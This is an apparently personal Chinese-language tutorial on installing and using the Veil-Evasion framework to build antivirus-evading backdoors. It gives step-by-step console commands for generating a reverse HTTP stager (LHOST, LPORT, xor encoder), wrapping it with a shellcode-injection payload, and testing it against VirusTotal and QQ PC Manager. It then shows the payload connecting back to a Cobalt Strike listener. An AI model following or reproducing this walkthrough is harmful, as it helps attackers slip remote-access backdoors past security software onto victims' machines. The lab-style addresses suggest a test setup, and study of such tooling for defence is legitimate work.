Veil-Evasion

Veil安装

  Veil 是一个流行的框架,用于生成可以通过某些防病毒产品的可执行文件。其安装的方法有两种:第一种直接从github下载整个项目,但是下载的项目似乎许久都没有维护了,这也是我一直安装失败的原因,故我采用第二种安装方式;使用apt-get install veil命令安装,后可以直接在命令行中输入veil运行。

  • github下载安装:

    • 运行../setup/setup.sh便可以自动安装

    • 安装后,运行../Veil-Evasion.py便可以运行Veil进程

  • apt安装:

    • 执行apt-get install veil,遇到所有的相关软件安装都直接next
    • 安装完毕后,运行veil后会自己执行更新

Veil使用方式

  • 打开Veil-Evasion

    image-20210309141325971
  • Veil提供了两种工具,Ordnance用于生成一段载荷,Evasion用于文件免杀。

    • 首先看看Ordance的使用方法,在“ Veil>: ”视图下键入以下命令:

      Veil>: use 2 //使用工具Ordnance

      image-20210309141453208

      Veil>: list payloads //查看可加载的6个payload

      1
      2
      3
      4
      5
      6
      1)      bind_tcp          => Bind TCP Stager (Stage 1)
      2) rev_http => Reverse HTTP Stager (Stage 1)
      3) rev_https => Reverse HTTPS Stager (Stage 1)
      4) rev_tcp => Reverse TCP Stager (Stage 1)
      5) rev_tcp_all_ports => Reverse TCP All Ports Stager (Stage 1)
      6) rev_tcp_dns => Reverse TCP DNS Stager (Stage 1)

      Veil/Ordnance>: list encoders //查看一种编码的方式

      1
      xor           => Single byte Xor Encoder

      Veil/Ordnance>: use 2 //使用rev_http载荷

      [rev_http>>]: set LHOST 192.168.222.134

      [rev_http>>]: set LPORT 4444

      [rev_http>>]: set Encoder xor //设置编码方式

      [rev_http>>]: generate //生成载荷

      image-20210309141834984
    • 接着看看Evasion工具:

      Veil>: use 1 //使用工具Evasion

      Veil/Evasion>: list //查看可用的Payload

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      1)      autoit/shellcode_inject/flat.py
      2) auxiliary/coldwar_wrapper.py
      3) auxiliary/macro_converter.py
      4) auxiliary/pyinstaller_wrapper.py
      5) c/meterpreter/rev_http.py
      6) c/meterpreter/rev_http_service.py
      7) c/meterpreter/rev_tcp.py
      8) c/meterpreter/rev_tcp_service.py
      9) cs/meterpreter/rev_http.py
      10) cs/meterpreter/rev_https.py
      11) cs/meterpreter/rev_tcp.py
      12) cs/shellcode_inject/base64.py
      13) cs/shellcode_inject/virtual.py
      14) go/meterpreter/rev_http.py
      15) go/meterpreter/rev_https.py
      16) go/meterpreter/rev_tcp.py
      17) go/shellcode_inject/virtual.py
      18) lua/shellcode_inject/flat.py
      19) perl/shellcode_inject/flat.py
      20) powershell/meterpreter/rev_http.py
      21) powershell/meterpreter/rev_https.py
      22) powershell/meterpreter/rev_tcp.py
      23) powershell/shellcode_inject/psexec_virtual.py
      24) powershell/shellcode_inject/virtual.py
      25) python/meterpreter/bind_tcp.py
      26) python/meterpreter/rev_http.py
      27) python/meterpreter/rev_https.py
      28) python/meterpreter/rev_tcp.py
      29) python/shellcode_inject/aes_encrypt.py
      30) python/shellcode_inject/arc_encrypt.py
      31) python/shellcode_inject/base64_substitution.py
      32) python/shellcode_inject/des_encrypt.py
      33) python/shellcode_inject/flat.py
      34) python/shellcode_inject/letter_substitution.py
      35) python/shellcode_inject/pidinject.py
      36) python/shellcode_inject/stallion.py
      37) ruby/meterpreter/rev_http.py
      38) ruby/meterpreter/rev_https.py
      39) ruby/meterpreter/rev_tcp.py
      40) ruby/shellcode_inject/base64.py
      41) ruby/shellcode_inject/flat.py

      Veil/Evasion>: use 1 //这里使用shellcode_inject的方式,也就是你要手动输入shellcode的载荷。

      [autoit/shellcode_inject/flat>>]: generate

      image-20210309142208528

      粘贴之前生成的载荷,生成对应的文件

image-20210309142312609

  • 测试生成文件的免杀性

  • 从某种角度上来讲,该方式是具有一定的免杀性

    image-20210309142523927 image-20210309142541517
  • VirusTotal的检出率为31/72

    image-20210309142703616

Veil实战演示

Veil生成后门

  • 我这里使用了C语言的方式编写生成后门

image-20210309142815786

  • 开启Cobalt Strike服务器,侦听本地192.168.222.134:3542

    • 在目标主机上开启一定的病毒查杀软件:QQ电脑管家

      image-20210309142902186

    • QQ电脑管家没有检出带有风险exe,导致payload回连。

image-20210309142924235

  • Cobalt Strike生成Veil的载荷,这里就提一下,毕竟Veil可通过Ordnance生成载荷。

image-20210309142955249

image-20210309143002200